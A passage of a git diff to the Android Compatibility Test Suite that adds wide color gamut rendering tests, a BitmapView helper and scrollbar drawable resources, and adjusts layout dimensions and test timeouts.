+        final int origHeight = preloadedDrawable.getIntrinsicHeight();
+        assertFalse(preloadedDrawable.getPadding(tempPadding));
+
+        runTest(preloadedDrawable);
+
+        for (int i = 1; i < densities.length; i++) {
+            final int scaledDensityDpi = densities[i];
+            final float scale = scaledDensityDpi / (float) preloadDensityDpi;
+            setResourcesDensity(res, scaledDensityDpi);
+
+            final BitmapDrawable scaledDrawable =
+                    (BitmapDrawable) preloadedConstantState.newDrawable(res);
+            scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
+
+            // Sizes are rounded.
+            assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
+            assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
+
+            // Bitmaps have no padding.
+            assertFalse(scaledDrawable.getPadding(tempPadding));
+
+            runTest(scaledDrawable);
+
+            // Ensure theme density is applied correctly. Unlike most
+            // drawables, we don't have any loss of accuracy because density
+            // changes are re-computed from the source every time.
+            setResourcesDensity(res, preloadDensityDpi);
+
+            final Theme t = res.newTheme();
+            scaledDrawable.applyTheme(t);
+            assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
+            assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
+            assertFalse(scaledDrawable.getPadding(tempPadding));
+        }
+    }
+
+    private void runTest(Drawable dr) {
+        final Rect drBounds = new Rect(0, 0, dr.getIntrinsicWidth(), dr.getIntrinsicHeight());
+        CanvasClient canvasClient = (canvas, width, height) -> {
+            assertTrue(width > drBounds.width());
+            assertTrue(height > drBounds.height());
+            dr.setBounds(drBounds);
+            dr.draw(canvas);
+        };
+        createTest()
+                .addCanvasClient(canvasClient)
+                .runWithVerifier(new RectVerifier(Color.WHITE, Color.BLUE, drBounds));
+    }
+
+    private static void setResourcesDensity(Resources res, int densityDpi) {
+        final Configuration config = new Configuration();
+        config.setTo(res.getConfiguration());
+        config.densityDpi = densityDpi;
+        res.updateConfiguration(config, null);
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 1ff74bf..0763e4b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -109,11 +109,6 @@
     }
 
     @Test
-    public void testBitmapConfigFromIndex8() {
-        testBitmapCopy(R.drawable.index_8, null, Bitmap.Config.HARDWARE);
-    }
-
-    @Test
     public void testBitmapConfigFromHardwareToHardware() {
         testBitmapCopy(R.drawable.robot, Bitmap.Config.HARDWARE, Bitmap.Config.HARDWARE);
     }
@@ -247,4 +242,4 @@
             canvas.drawBitmap(copy, 0, 0, null);
         }, true).runWithComparer(new MSSIMComparer(0.99));
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 2e1ce85..153bf5b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -15,13 +15,17 @@
  */
 package android.uirendering.cts.testclasses;
 
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
 import android.animation.ObjectAnimator;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
@@ -36,8 +40,6 @@
 import android.view.animation.LinearInterpolator;
 import android.widget.FrameLayout;
 
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-
 import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
new file mode 100644
index 0000000..9f46e36
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointWideGamutVerifier;
+import android.uirendering.cts.testclasses.view.BitmapView;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class WideColorGamutTests extends ActivityTestBase {
+    private static final ColorSpace DISPLAY_P3 = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
+    private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+    private static final Point[] POINTS = {
+            new Point(16, 16),
+            new Point(48, 16),
+            new Point(80, 16),
+    };
+
+    // The colors are defined as found in wide-gamut-test.png, which is Display P3
+    // Since the UI toolkit renders in scRGB, we want to convert here to compare values
+    // directly in the sample point verifier
+    private static final Color[] COLORS = {
+            Color.valueOf(0.937f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+            Color.valueOf(1.000f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+            Color.valueOf(0.918f, 0.200f, 0.137f, 1.0f, DISPLAY_P3).convert(SCRGB)
+    };
+
+    private Bitmap mBitmap;
+
+    @Override
+    protected boolean isWideColorGamut() {
+        return true;
+    }
+
+    @Before
+    public void loadBitmap() {
+        try (InputStream in = getActivity().getAssets().open("wide-gamut-test.png")) {
+            mBitmap = BitmapFactory.decodeStream(in);
+        } catch (IOException e) {
+            Assert.fail("Could not load wide-gamut-test.png");
+        }
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private BitmapVerifier getVerifier(Point[] points, Color[] colors, float eps) {
+        if (getActivity().getWindow().isWideColorGamut()) {
+            return new SamplePointWideGamutVerifier(points, colors, eps);
+        }
+        return new SamplePointVerifier(points,
+                Arrays.stream(colors).mapToInt(Color::toArgb).toArray(),
+                (int) (eps * 255.0f + 0.5f));
+    }
+
+    @Test
+    public void testDraw() {
+        createTest()
+                .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+                    BitmapView bv = (BitmapView) view;
+                    bv.setBitmap(mBitmap);
+                }, true)
+                .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+    }
+
+    @Test
+    public void testSaveLayer() {
+        createTest()
+                .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+                    BitmapView bv = (BitmapView) view;
+                    bv.setBitmap(mBitmap);
+                    bv.setSaveLayer(true);
+                }, true)
+                .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+    }
+
+    @Test
+    public void testHardwareLayer() {
+        createTest()
+                .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+                    BitmapView bv = (BitmapView) view;
+                    bv.setBitmap(mBitmap);
+                    bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                }, true)
+                .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+    }
+
+    @Test
+    public void testSaveLayerInHardwareLayer() {
+        createTest()
+                .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+                    BitmapView bv = (BitmapView) view;
+                    bv.setBitmap(mBitmap);
+                    bv.setSaveLayer(true);
+                    bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                }, true)
+                .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
new file mode 100644
index 0000000..b672e40
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Path;
+import android.util.AttributeSet;
+import android.view.View;
+import android.widget.FrameLayout;
+
+public class BitmapView extends View {
+    private Bitmap mBitmap;
+    private boolean mSaveLayer;
+
+    public BitmapView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public BitmapView(Context context, AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    public BitmapView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    public BitmapView(Context context, Bitmap b, boolean saveLayer) {
+        super(context);
+        mBitmap = b;
+        mSaveLayer = saveLayer;
+    }
+
+    public Bitmap getBitmap() {
+        return mBitmap;
+    }
+
+    public void setBitmap(Bitmap bitmap) {
+        mBitmap = bitmap;
+    }
+
+    public boolean isSaveLayer() {
+        return mSaveLayer;
+    }
+
+    public void setSaveLayer(boolean saveLayer) {
+        mSaveLayer = saveLayer;
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+        if (mSaveLayer) {
+            canvas.saveLayer(0.0f, 0.0f, getWidth(), getHeight(), null);
+        }
+        canvas.drawBitmap(mBitmap, 0, 0, null);
+        if (mSaveLayer) {
+            canvas.restore();
+        }
+    }
+
+    @Override
+    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
+        setMeasuredDimension(mBitmap.getWidth(), mBitmap.getHeight());
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 23b729a..57e7d3b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -82,11 +82,16 @@
             Intent intent = new Intent(Intent.ACTION_MAIN);
             intent.setClass(instrumentation.getTargetContext(), DrawActivity.class);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtra(DrawActivity.EXTRA_WIDE_COLOR_GAMUT, isWideColorGamut());
             sActivity = (DrawActivity) instrumentation.startActivitySync(intent);
         }
         return sActivity;
     }
 
+    protected boolean isWideColorGamut() {
+        return false;
+    }
+
     @AfterClass
     public static void tearDownClass() {
         if (sActivity != null) {
@@ -124,7 +129,9 @@
         if (mScreenshotter == null) {
             SynchronousPixelCopy copy = new SynchronousPixelCopy();
             Bitmap dest = Bitmap.createBitmap(
-                    TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
+                    TEST_WIDTH, TEST_HEIGHT,
+                    getActivity().getWindow().isWideColorGamut()
+                            ? Config.RGBA_F16 : Config.ARGB_8888);
             Rect srcRect = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
             srcRect.offset(testPositionInfo.surfaceOffset.x, testPositionInfo.surfaceOffset.y);
             Log.d(TAG, "capturing screenshot of " + srcRect.toShortString());
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
index 7060f46..1d4d3f4 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
@@ -18,6 +18,7 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.content.pm.ActivityInfo;
 import android.content.res.Configuration;
 import android.graphics.Point;
 import android.os.Bundle;
@@ -41,6 +42,8 @@
  * A generic activity that uses a view specified by the user.
  */
 public class DrawActivity extends Activity {
+    static final String EXTRA_WIDE_COLOR_GAMUT = "DrawActivity.WIDE_COLOR_GAMUT";
+
     private final static long TIME_OUT_MS = 10000;
     private final Object mLock = new Object();
     private ActivityTestBase.TestPositionInfo mPositionInfo;
@@ -54,6 +57,9 @@
         super.onCreate(bundle);
         getWindow().getDecorView().setSystemUiVisibility(
                 View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
+        if (getIntent().getBooleanExtra(EXTRA_WIDE_COLOR_GAMUT, false)) {
+            getWindow().setColorMode(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT);
+        }
         mHandler = new RenderSpecHandler();
         int uiMode = getResources().getConfiguration().uiMode;
         mOnTv = (uiMode & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_TELEVISION;
@@ -204,7 +210,6 @@
     }
 
     private class DrawCounterListener implements ViewTreeObserver.OnDrawListener {
-        private final int[] mLocationInWindow = new int[2];
         private static final int DEBUG_REQUIRE_EXTRA_FRAMES = 1;
         private int mDrawCount = 0;
 
@@ -215,8 +220,8 @@
                 return;
             }
             mView.post(() -> {
-                Log.d("UiRendering", "notifying capture");
                 mView.getViewTreeObserver().removeOnDrawListener(this);
+
                 final int[] location = new int[2];
                 mViewWrapper.getLocationInWindow(location);
                 Point surfaceOffset = new Point(location[0], location[1]);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index d5f9324..1523283 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -83,9 +83,7 @@
             String testName, String debugMessage) {
         int width = bitmap.getWidth();
         int height = bitmap.getHeight();
-        int[] pixels = new int[width * height];
-        bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
-        boolean success = bitmapVerifier.verify(pixels, 0, width, width, height);
+        boolean success = bitmapVerifier.verify(bitmap);
         if (!success) {
             Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height);
             BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 3ceeadd..ed7a61c 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-annotations \
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index a50b42f..533d98b6 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MULTILIB := both
 
@@ -31,6 +31,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
     compatibility-device-util \
+    ctsdeviceutillegacy \
     ctstestrunner \
     mockito-target-minus-junit4 \
     platform-test-annotations \
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index f9c305f..823704c 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -175,6 +175,7 @@
                   android:screenOrientation="locked"
                   android:label="PixelCopyGLProducerCtsActivity"/>
 
+
         <activity android:name="android.view.cts.PixelCopyViewProducerActivity"
                   android:label="PixelCopyViewProducerActivity"
                   android:screenOrientation="portrait"
@@ -182,6 +183,14 @@
                   android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
                   android:configChanges="orientation|screenSize" />
 
+        <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
+                  android:label="PixelCopyWideGamutViewProducerActivity"
+                  android:screenOrientation="portrait"
+                  android:rotationAnimation="jumpcut"
+                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+                  android:configChanges="orientation|screenSize"
+                  android:colorMode="wideColorGamut" />
+
         <activity android:name="android.view.cts.FocusFinderCtsActivity"
                   android:screenOrientation="locked"
                   android:label="FocusFinderCtsActivity">
@@ -289,7 +298,7 @@
         </activity>
 
         <activity android:name="android.view.cts.DragDropActivity"
-                  android:screenOrientation="locked"
+                  android:screenOrientation="portrait"
                   android:label="DragDropActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
diff --git a/tests/tests/view/assets/prophoto.png b/tests/tests/view/assets/prophoto.png
new file mode 100644
index 0000000..8badba7
--- /dev/null
+++ b/tests/tests/view/assets/prophoto.png
Binary files differ
diff --git a/tests/tests/view/res/drawable/scrollbar_no_size.xml b/tests/tests/view/res/drawable/scrollbar_no_size.xml
new file mode 100644
index 0000000..88a59f0
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_no_size.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <solid android:color="@android:color/white" />
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_thumb.xml b/tests/tests/view/res/drawable/scrollbar_thumb.xml
new file mode 100644
index 0000000..d7612ac
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_thumb.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <solid android:color="@android:color/white" />
+    <size
+        android:width="@dimen/scrollbar_thumb_width"
+        android:height="@dimen/scrollbar_thumb_height"/>
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_track.xml b/tests/tests/view/res/drawable/scrollbar_track.xml
new file mode 100644
index 0000000..a184569
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_track.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <solid android:color="@android:color/white" />
+    <size
+        android:width="@dimen/scrollbar_track_width"
+        android:height="@dimen/scrollbar_track_height"/>
+</shape>
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index 3800d99..9f4614c 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
             android:id="@+id/container"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
-            android:layout_margin="64px"
+            android:layout_margin="21dp"
             android:background="#BBBBBB">
         <FrameLayout
                 android:id="@+id/subcontainer"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_margin="64px"
+                android:layout_margin="21dp"
                 android:background="#666666">
             <View
                     android:id="@+id/inner"
-                    android:layout_width="64px"
-                    android:layout_height="64px"
-                    android:layout_margin="64px"
+                    android:layout_width="21dp"
+                    android:layout_height="21dp"
+                    android:layout_margin="21dp"
                     android:background="#00FF00" />
         </FrameLayout>
     </FrameLayout>
     <View
             android:id="@+id/draggable"
-            android:layout_width="64px"
-            android:layout_height="64px"
-            android:layout_margin="64px"
+            android:layout_width="21dp"
+            android:layout_height="21dp"
+            android:layout_margin="21dp"
             android:background="#0000FF" />
 </LinearLayout>
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 1dea684..8f4dffb 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -22,7 +22,8 @@
             android:layout_alignParentTop="true">
         <TableRow>
             <android.view.cts.TestButton android:id="@+id/top_left_button"
-                    android:layout_width="60dp"
+                    android:layout_width="20dp"
+                    android:layout_marginRight="40dp"
                     android:layout_height="match_parent"
                     android:text="TL" />
             <android.view.cts.TestButton android:id="@+id/top_right_button"
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 920da83..fbdddc2 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
 
     <android.view.cts.MockView
         android:id="@+id/mock_view"
-        android:layout_width="100px"
-        android:layout_height="200px"/>
+        android:layout_width="75dp"
+        android:layout_height="100dp"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view"
@@ -36,7 +36,11 @@
         android:scrollbars="horizontal|vertical"
         android:fadingEdge="horizontal|vertical"
         android:scrollIndicators="top|bottom"
-        android:fadingEdgeLength="20px"/>
+        android:fadingEdgeLength="20px"
+        android:scrollbarThumbVertical="@null"
+        android:scrollbarTrackVertical="@null"
+        android:scrollbarThumbHorizontal="@null"
+        android:scrollbarTrackHorizontal="@null"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view_2"
@@ -44,7 +48,51 @@
         android:layout_height="200px"
         android:scrollbars="horizontal|vertical"
         android:requiresFadingEdge="horizontal|vertical"
-        android:fadingEdgeLength="20px"/>
+        android:fadingEdgeLength="20px"
+        android:scrollbarThumbVertical="@null"
+        android:scrollbarTrackVertical="@null"
+        android:scrollbarThumbHorizontal="@null"
+        android:scrollbarTrackHorizontal="@null"/>
+
+    <android.view.cts.MockView
+        android:id="@+id/scroll_view_3"
+        android:layout_width="100px"
+        android:layout_height="200px"
+        android:scrollbars="horizontal|vertical"
+        android:scrollbarThumbVertical="@drawable/scrollbar_no_size"
+        android:scrollbarTrackVertical="@null"
+        android:scrollbarThumbHorizontal="@drawable/scrollbar_no_size"
+        android:scrollbarTrackHorizontal="@null"/>
+
+    <android.view.cts.MockView
+        android:id="@+id/scroll_view_4"
+        android:layout_width="100px"
+        android:layout_height="200px"
+        android:scrollbars="horizontal|vertical"
+        android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+        android:scrollbarTrackVertical="@null"
+        android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+        android:scrollbarTrackHorizontal="@null"/>
+
+    <android.view.cts.MockView
+        android:id="@+id/scroll_view_5"
+        android:layout_width="100px"
+        android:layout_height="200px"
+        android:scrollbars="horizontal|vertical"
+        android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+        android:scrollbarTrackVertical="@drawable/scrollbar_track"
+        android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+        android:scrollbarTrackHorizontal="@drawable/scrollbar_track"/>
+
+    <android.view.cts.MockView
+        android:id="@+id/scroll_view_6"
+        android:layout_width="100px"
+        android:layout_height="200px"
+        android:scrollbars="horizontal|vertical"
+        android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+        android:scrollbarTrackVertical="@drawable/scrollbar_no_size"
+        android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+        android:scrollbarTrackHorizontal="@drawable/scrollbar_no_size"/>
 
     <View
         android:id="@+id/fit_windows"
diff --git a/tests/tests/view/res/values-ldpi/dimens.xml b/tests/tests/view/res/values-ldpi/dimens.xml
new file mode 100644
index 0000000..5b79a3e
--- /dev/null
+++ b/tests/tests/view/res/values-ldpi/dimens.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+<resources>
+    <dimen name="hover_target_margin">6dp</dimen>
+    <dimen name="hover_target_size">12dp</dimen>
+    <dimen name="hover_target_size_double">24dp</dimen>
+</resources>
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 5680de0..5ae23c2 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -41,4 +41,8 @@
     <dimen name="hover_target_margin">4dp</dimen>
     <dimen name="hover_target_size">8dp</dimen>
     <dimen name="hover_target_size_double">16dp</dimen>
+    <dimen name="scrollbar_thumb_width">11dp</dimen>
+    <dimen name="scrollbar_thumb_height">12dp</dimen>
+    <dimen name="scrollbar_track_width">13dp</dimen>
+    <dimen name="scrollbar_track_height">14dp</dimen>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index aac14e6..d3bc8e0 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -77,7 +77,7 @@
     /** It is defined in R.anim.decelerate_alpha */
     private static final int DECELERATE_ALPHA_DURATION = 2000;
 
-    private static final int CANCELATION_TIMEOUT = 1000;
+    private static final int CANCELATION_TIMEOUT = 5000;
 
     private Instrumentation mInstrumentation;
     private Activity mActivity;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index 7e0808e..ddd55aa 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -42,6 +42,7 @@
 import android.view.cts.R;
 
 import org.junit.Before;
+import org.junit.After;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -59,6 +60,7 @@
     private Instrumentation mInstrumentation;
     private AnimationTestCtsActivity mActivity;
     private View mTestView;
+    private int mUserRotation;
 
     Set<Integer> identityHashes = new HashSet<>();
 
@@ -71,6 +73,12 @@
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
         mTestView = mActivity.findViewById(R.id.anim_window);
+        mUserRotation = mActivity.getWindowManager().getDefaultDisplay().getRotation();
+    }
+
+    @After
+    public void tearDown() {
+        mInstrumentation.getUiAutomation().setRotation(mUserRotation);
     }
 
     private void assertUnique(Object object) {
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 6c95e1f..145436b 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -19,6 +19,8 @@
